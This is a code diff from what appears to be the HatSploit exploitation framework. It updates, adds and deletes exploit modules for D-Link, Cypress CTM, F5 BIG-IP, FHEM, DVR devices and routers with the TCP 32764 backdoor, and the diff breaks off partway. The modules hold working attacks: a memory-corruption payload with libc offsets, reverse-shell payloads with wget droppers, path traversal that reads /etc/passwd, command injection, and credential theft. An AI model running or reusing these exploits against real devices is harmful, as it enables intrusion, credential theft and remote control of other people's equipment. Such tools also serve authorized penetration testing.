+        self.type = Option('TYPE', "video/mp4", "Type of media file.", True)
 
     def run(self):
         client = self.open_chromecast()
diff --git a/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py b/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py
index b5be21dea..743f8405f 100755
--- a/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py
+++ b/hatsploit/modules/exploit/linux/cypress/ctm_backdoor_password.py
@@ -3,31 +3,57 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import SSH
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import SSH
 
 
 class HatSploitModule(Module, SSH, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Cypress CTM SSH backdoor password",
             'Module': "exploit/linux/cypress/ctm_backdoor_password",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "LiquidWorm - vulnerability researcher"
             ],
-            'Description': "Remote code execution through SSH backdoor in Cypress CTM devices.",
+            'Description': (
+                "Remote code execution through SSH backdoor in Cypress CTM devices."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/netcat_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC]
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/armle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX],
+                    'Arch': [ARCH_ARMLE, ARCH_AARCH64]
+                }
+            },
+            'Devices': [
+                "CTM-ONE (1.3.6-latest)",
+                "CTM-ONE (1.3.1)",
+                "CTM-ONE (1.1.9)",
+                "CTM-200 (2.7.1.5659-latest)",
+                "CTM-200 (2.0.5.3356-184)"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/50407'},
+                {'EDB': 50407}
+            ],
+            'DisclosureDate': "2021-10-13",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
+    def __call__(self):
         self.username.visible = False
         self.username.set("root")
 
diff --git a/hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py b/hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py
deleted file mode 100755
index 4997defd5..000000000
--- a/hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py
+++ /dev/null
@@ -1,62 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-from pex.string import String
-
-
-class HatSploitModule(Module, HTTP, String):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "D-Link DAP-2020 Path Traversal",
-            'Module': "exploit/linux/dlink/dap_2020_path_traversal",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Path Traversal through incorrect login in D-Link DAP-2020 <= v6.10.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.file = Option("/etc/passwd", "File to read.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/cgi-bin/webproc'
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="POST",
-            path=f'/cgi-bin/webproc',
-            data=(
-                f'getpage=html%2Findex.html&errorpage={self.file.value}'
-                '&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true'
-                f'&obj-action=auth&%3Ausername=admin&%3Apassword={self.random_string(8)}'
-                '&%3Aaction=login&%3Asessionid=365dfaef'
-            ),
-        )
-
-        if response.text:
-            if (
-                    f"Pagefile open failed(File:{self.base64_string(self.file.value)}"
-                    in response.text
-            ):
-                self.print_error("Failed to open file!")
-            else:
-                self.print_empty(f"\n{response.text}")
-        else:
-            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py b/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py
index efc98c459..201e5f3e2 100755
--- a/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/dlink/dcs_credentials_disclosure.py
@@ -3,24 +3,38 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "D-Link DCS Credentials Disclosure",
             'Module': "exploit/linux/dlink/dcs_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "D-Link DCS-2530L < 1.06.01 and DCS-2670L <= 2.02 credentials disclosure exploit.",
+            'Description': (
+                "D-Link DCS-2530L < 1.06.01 and DCS-2670L <= 2.02 credentials disclosure exploit."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "D-Link DCS-2530L < 1.06.01",
+                "DCS-2670L <= 2.02",
+            ],
+            'References': [
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2020-25078'},
+                {'CVE': '2020-25078'},
+            ],
+            'DisclosureDate': "2020-09-02",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -29,10 +43,10 @@ def check(self):
             path='/config/getuser?index=0',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py b/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py
index bc58bf78e..90d621bdf 100755
--- a/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/dlink/dir645_credentials_disclosure.py
@@ -5,25 +5,37 @@
 
 import re
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "D-Link DIR-645 Credentials Disclosure",
             'Module': "exploit/linux/dlink/dir645_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Roberto Paleari - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Roberto Paleari - vulnerability researcher",
             ],
-            'Description': "D-Link DIR-645 < 1.03 credentials disclosure exploit.",
+            'Description': (
+                "D-Link DIR-645 < 1.03 credentials disclosure exploit."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "D-Link DIR-645 < 1.03",
+            ],
+            'References': [
+                {'URL': 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'},
+            ],
+            'DisclosureDate': "2013-03-01",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -32,10 +44,10 @@ def check(self):
             path='/getcfg.php'
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/dlink/dir845l_credentials_disclosure.py b/hatsploit/modules/exploit/linux/dlink/dir845l_credentials_disclosure.py
new file mode 100644
index 000000000..6c7523235
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/dlink/dir845l_credentials_disclosure.py
@@ -0,0 +1,70 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+import re
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "D-Link DIR-845L Credentials Disclosure",
+            'Module': "exploit/linux/dlink/dir845l_credentials_disclosure",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Roberto Paleari - vulnerability researcher",
+            ],
+            'Description': (
+                "D-Link DIR-845L <= 1.01KRb03 credentials disclosure exploit."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "D-Link DIR-845L <= v1.01KRb03",
+            ],
+            'References': [
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2024-33113'},
+                {'CVE': '2024-33113'}
+            ],
+            'DisclosureDate': "2024-06-05",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path='/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1'
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        response = self.http_request(
+            method="GET",
+            path='/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1'
+        )
+
+        username = re.findall("<name>(.+?)</name>", re.sub(r'\s+', '', response.text))
+        password = re.findall("<password>(|.+?)</password>", re.sub(r'\s+', '', response.text))
+
+        if not username and not password:
+            self.print_warning("Target vulnerable, but no credentials found.")
+            return
+
+        creds = [
+            (username[0] if username else 'Admin',
+             password[0] if password else '')
+        ]
+        self.print_table("Credentials", ('Username', 'Password'), *creds)
diff --git a/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py b/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py
index b54d71ee0..62b3f0bb9 100755
--- a/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py
+++ b/hatsploit/modules/exploit/linux/dlink/hedwig_code_execution.py
@@ -5,48 +5,82 @@
 
 import struct
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 from pex.string import String
 
 
-class HatSploitModule(Module, Handler, String, HTTP):
+class HatSploitModule(Module, Handler, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "D-Link hedwig Remote Code Execution",
             'Module': "exploit/linux/dlink/hedwig_code_execution",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Roberto Paleari - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Roberto Paleari - vulnerability researcher",
             ],
-            'Description': "Remote Code Execution in D-Link DIR-645 <= 1.03, DIR-300 <= 2.14, DIR-600.",
+            'Description': (
+                "Remote Code Execution in D-Link DIR-645 <= 1.03, DIR-300 <= 2.14, DIR-600."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Targets': {
+                'D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600': {
+                    'Offset': 973,
+                    'LibcBase': 0x2aaf800,
+                    'System': 0x000531ff,
+                    'CalcSystem': 0x000158c8,
+                    'CallSystem': 0x000159cc
+                },
+                'D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600 (QEMU)': {
+                    'Offset': 973,
+                    'LibcBase': 0x40854000,
+                    'System': 0x000531ff,
+                    'CalcSystem': 0x000158c8,
+                    'CallSystem': 0x000159cc
+                }
+            },
             'Payload': {
-                'Value': "linux/mipsle/shell_reverse_tcp",
-                'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadDropMixin: {
+                    'Value': "linux/mipsle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_MIPSLE, ARCH_MIPSBE],
+                }
+            },
+            'Devices': [
+                "D-Link DIR-645 v1.03",
+                "D-Link DIR-300 v2.14",
+                "D-Link DIR-600"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/27283'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2013-7389'},
+                {'CVE': '2013-7389'},
+                {'EDB': 27283},
+            ],
+            'DisclosureDate': "2014-07-07",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
+    def __call__(self):
+        self.dropper.set('wget')
+
     def exploit(self, command):
         command = command.encode("utf-8")
 
-        libcbase = 0x2AAF8000
-        system = 0x000531FF
-        calcsystem = 0x000158C8
-        callsystem = 0x000159CC
-        shellcode = self.random_string(973).encode("utf-8")
-        shellcode += struct.pack("<I", libcbase + system)
-        shellcode += self.random_string(16).encode("utf-8")
-        shellcode += struct.pack("<I", libcbase + callsystem)
-        shellcode += self.random_string(12).encode("utf-8")
-        shellcode += struct.pack("<I", libcbase + calcsystem)
-        shellcode += self.random_string(16).encode("utf-8")
+        shellcode = String().random_string(self.target['Offset']).encode("utf-8")
+        shellcode += struct.pack("<I", self.target['LibcBase'] + self.target['System'])
+        shellcode += String().random_string(16).encode("utf-8")
+        shellcode += struct.pack("<I", self.target['LibcBase'] + self.target['CallSystem'])
+        shellcode += String().random_string(12).encode("utf-8")
+        shellcode += struct.pack("<I", self.target['LibcBase'] + self.target['CalcSystem'])
+        shellcode += String().random_string(16).encode("utf-8")
         shellcode += command
 
         headers = {
@@ -54,7 +88,7 @@ def exploit(self, command):
             "Cookie": b"uid=" + shellcode + b";",
         }
 
-        data = {self.random_string(7): self.random_string(7)}
+        data = {String().random_string(7): String().random_string(7)}
 
         response = self.http_request(
             method="POST",
@@ -66,6 +100,8 @@ def exploit(self, command):
         if response:
             return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()
 
+        return 'no response'
+
     def check(self):
         response = self.http_request(
             method="GET",
@@ -79,8 +115,7 @@ def check(self):
 
     def run(self):
         self.module_handle(
-            method="bash_echo",
             concat="&&",
-            linemax=5,
+            linemax=200,
             sender=self.exploit,
         )
diff --git a/hatsploit/modules/exploit/linux/f5/bigip_tmui_path_traversal.py b/hatsploit/modules/exploit/linux/f5/bigip_tmui_path_traversal.py
deleted file mode 100755
index 4b989b1a8..000000000
--- a/hatsploit/modules/exploit/linux/f5/bigip_tmui_path_traversal.py
+++ /dev/null
@@ -1,49 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "F5 Big-IP TMUI Path Traversal",
-            'Module': "exploit/linux/f5/bigip_tmui_path_traversal",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Carlos E. Vieira - vulnerability researcher',
-            ],
-            'Description': "Path Traversal in F5 BIG-IP Traffic Management User Interface (TMUI).",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.file = Option("/etc/passwd", "File to read.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName={self.file.value}',
-        )
-
-        if response.text:
-            self.print_empty(f"\n{response.text}")
-        else:
-            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/f5/bigip_tmui_rce.py b/hatsploit/modules/exploit/linux/f5/bigip_tmui_rce.py
deleted file mode 100755
index 132df6eb8..000000000
--- a/hatsploit/modules/exploit/linux/f5/bigip_tmui_rce.py
+++ /dev/null
@@ -1,51 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, Handler, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "F5 Big-IP TMUI Remote Code Execution",
-            'Module': "exploit/linux/f5/bigip_tmui_rce",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Mikhail Klyuchnikov - vulnerability researcher',
-            ],
-            'Description': "Remote Code Execution in F5 BIG-IP Traffic Management User Interface (TMUI).",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Platforms': [OS_LINUX, OS_UNIX],
-            }
-        })
-
-    def exploit(self, command):
-        return self.http_request(
-            method="GET",
-            path=f'/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command={command}',
-        ).text
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=echo',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        self.module_handle(
-            sender=self.exploit,
-        )
diff --git a/hatsploit/modules/exploit/linux/fhem/path_traversal.py b/hatsploit/modules/exploit/linux/fhem/path_traversal.py
index 483e7c685..f1e58a48d 100755
--- a/hatsploit/modules/exploit/linux/fhem/path_traversal.py
+++ b/hatsploit/modules/exploit/linux/fhem/path_traversal.py
@@ -3,28 +3,39 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "FHEM Path Traversal",
             'Module': "exploit/linux/fhem/path_traversal",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Emre Övünç (EmreOvunc) - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Emre Övünç (EmreOvunc) - vulnerability researcher",
             ],
-            'Description': "Path Traversal in FHEM <= 6.0",
+            'Description': (
+                "Path Traversal in FHEM <= 6.0"
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://fhem.de/'},
+                {'URL': 'https://www.exploit-db.com/exploits/48621'},
+                {'EDB': 48621}
+            ],
+            'DisclosureDate': "2020-06-25",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.file = Option("/etc/passwd", "File to read.", True)
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
 
     def check(self):
         response = self.http_request(
@@ -32,10 +43,10 @@ def check(self):
             path='/fhem/FileLog_logWrapper',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/generic/32764_code_execution.py b/hatsploit/modules/exploit/linux/generic/32764_code_execution.py
index e75dc2264..bace4155c 100755
--- a/hatsploit/modules/exploit/linux/generic/32764_code_execution.py
+++ b/hatsploit/modules/exploit/linux/generic/32764_code_execution.py
@@ -5,41 +5,82 @@
 
 import struct
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import TCP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import TCP
 
 
 class HatSploitModule(Module, Handler, TCP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "TCP 32764 Backdoor Remote Code Execution",
             'Module': "exploit/linux/generic/32764_code_execution",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Remote code execution in multiple devices through TCP 32764 backdoor.",
+            'Description': (
+                "Numerous router models have a backdoor installed allowing attacker "
+                "to extract sensitive information including credentials and perform "
+                "code execution."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "linux/mipsbe/shell_reverse_tcp",
-                'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadDropMixin: {
+                    'Value': "linux/mipsbe/shell_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_MIPSLE, ARCH_MIPSBE],
+                }
+            },
+            'Devices': [
+                "Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5",
+                "Cisco WAP4410N",
+                "Cisco WRVS4400N",
+                "Cisco WRVS4400N",
+                "Diamond DSL642WLG / SerComm IP806Gx v2 TI",
+                "LevelOne WBR3460B",
+                "Linksys RVS4000 Firmware V1.3.3.5",
+                "Linksys WAG120N",
+                "Linksys WAG160n v1 and v2",
+                "Linksys WAG200G",
+                "Linksys WAG320N",
+                "Linksys WAG54G2",
+                "Linksys WAG54GS",
+                "Linksys WRT350N v2 fw 2.00.19",
+                "Linksys WRT300N fw 2.00.17",
+                "Netgear DG834",
+                "Netgear DGN1000",
+                "Netgear DGN2000B",
+                "Netgear DGN3500",
+                "Netgear DGND3300",
+                "Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR",
+                "Netgear DM111Pv2",
+                "Netgear JNR3210",
+            ],
+            'References': [
+                {'URL': 'https://github.com/elvanderb/TCP-32764'},
+                {'URL': 'https://owasp.org/NINJA-PingU/research.html'}
+            ],
+            'DisclosureDate': "2013-02-31",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
-        self.port.visible = False
-        self.port.set(32764)
-
-        self.commands = {
+        self.commands.update({
             'get_endian': {
                 'Description': "Get target device endian.",
                 'Usage': "get_endian",
                 'MinArgs': 0,
             }
-        }
+        })
+
+    def __call__(self):
+        self.port.visible = False
+        self.port.set(32764)
+        self.dropper.set('wget')
 
     def detect_endian(self):
         client = self.open_tcp()
@@ -59,7 +100,7 @@ def detect_endian(self):
             return '>'
         return None
 
-    def get_endian(self, argc, argv):
+    def get_endian(self, _):
         self.print_process("Detecting endian...")
 
         endian = self.detect_endian()
@@ -103,7 +144,6 @@ def check(self):
 
     def run(self):
         self.module_handle(
-            method="bash_echo",
             concat="&&",
             sender=self.exploit,
         )
diff --git a/hatsploit/modules/exploit/linux/generic/32764_credentials_disclosure.py b/hatsploit/modules/exploit/linux/generic/32764_credentials_disclosure.py
index 7b7996ca9..2b3862785 100755
--- a/hatsploit/modules/exploit/linux/generic/32764_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/generic/32764_credentials_disclosure.py
@@ -6,36 +6,74 @@
 import re
 import struct
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import TCP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import TCP
 
 
 class HatSploitModule(Module, TCP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "TCP 32764 Backdoor Credentials Disclosure",
             'Module': "exploit/linux/generic/32764_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Credentials disclosure in multiple devices through TCP 32764 backdoor.",
+            'Description': (
+                "Numerous router models have a backdoor installed allowing attacker "
+                "to extract sensitive information including credentials and perform "
+                "code execution."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5",
+                "Cisco WAP4410N",
+                "Cisco WRVS4400N",
+                "Cisco WRVS4400N",
+                "Diamond DSL642WLG / SerComm IP806Gx v2 TI",
+                "LevelOne WBR3460B",
+                "Linksys RVS4000 Firmware V1.3.3.5",
+                "Linksys WAG120N",
+                "Linksys WAG160n v1 and v2",
+                "Linksys WAG200G",
+                "Linksys WAG320N",
+                "Linksys WAG54G2",
+                "Linksys WAG54GS",
+                "Linksys WRT350N v2 fw 2.00.19",
+                "Linksys WRT300N fw 2.00.17",
+                "Netgear DG834",
+                "Netgear DGN1000",
+                "Netgear DGN2000B",
+                "Netgear DGN3500",
+                "Netgear DGND3300",
+                "Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR",
+                "Netgear DM111Pv2",
+                "Netgear JNR3210",
+            ],
+            'References': [
+                {'URL': 'https://github.com/elvanderb/TCP-32764'},
+                {'URL': 'https://owasp.org/NINJA-PingU/research.html'}
+            ],
+            'DisclosureDate': "2013-02-31",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
+            }
         })
 
-        self.port.visible = False
-        self.port.set(32764)
-
-        self.commands = {
+        self.commands.update({
             'get_endian': {
                 'Description': "Get target device endian.",
                 'Usage': "get_endian",
                 'MinArgs': 0,
             }
-        }
+        })
+
+    def __call__(self):
+        self.port.visible = False
+        self.port.set(32764)
 
     def detect_endian(self):
         client = self.open_tcp()
@@ -55,7 +93,7 @@ def detect_endian(self):
             return '>'
         return None
 
-    def get_endian(self, argc, argv):
+    def get_endian(self, _):
         self.print_process("Detecting endian...")
 
         endian = self.detect_endian()
diff --git a/hatsploit/modules/exploit/linux/generic/dvr_credentials_disclosure.py b/hatsploit/modules/exploit/linux/generic/dvr_credentials_disclosure.py
index 28f7cf05b..e0806e746 100755
--- a/hatsploit/modules/exploit/linux/generic/dvr_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/generic/dvr_credentials_disclosure.py
@@ -5,25 +5,53 @@
 
 import json
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "DVR Multi Credentials Disclosure",
             'Module': "exploit/linux/generic/dvr_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'ezelf - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "ezelf - vulnerability researcher",
             ],
-            'Description': "Multiple DVR devices credentials disclosure.",
+            'Description': (
+                "Multiple DVR-like devices have a vulnerability allowing attackers to "
+                "obtain credentials."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "TBK DVR4104",
+                "TBK DVR4216",
+                "Novo",
+                "CeNova",
+                "QSee",
+                "Pulnix",
+                "XVR 5 in 1",
+                "Securus",
+                "Night OWL",
+                "DVR Login",
+                "HVR Login",
+                "MDVR Login"
+            ],
+            'References': [
+                {'URL': 'https://github.com/EntySec/CamRaptor'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2018-9995'},
+                {'URL': 'https://www.exploit-db.com/exploits/44577'},
+                {'CVE': '2018-9995'},
+                {'EDB': 44577}
+            ],
+            'DisclosureDate': "2018-10-04",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -32,10 +60,10 @@ def check(self):
             path='/device.rsp?opt=user&cmd=list',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/generic/p2p_authenticated_rce.py b/hatsploit/modules/exploit/linux/generic/p2p_authenticated_rce.py
index 9491949da..231a5f849 100755
--- a/hatsploit/modules/exploit/linux/generic/p2p_authenticated_rce.py
+++ b/hatsploit/modules/exploit/linux/generic/p2p_authenticated_rce.py
@@ -3,37 +3,1310 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
-from pex.string import String
 
-
-class HatSploitModule(Module, HTTP, Handler, String):
+class HatSploitModule(Module, HTTP, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "P2P Camera Authenticated RCE",
             'Module': "exploit/linux/generic/p2p_authenticated_rce",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Pierre Kim (pierrekim) - vulnerability researcher',
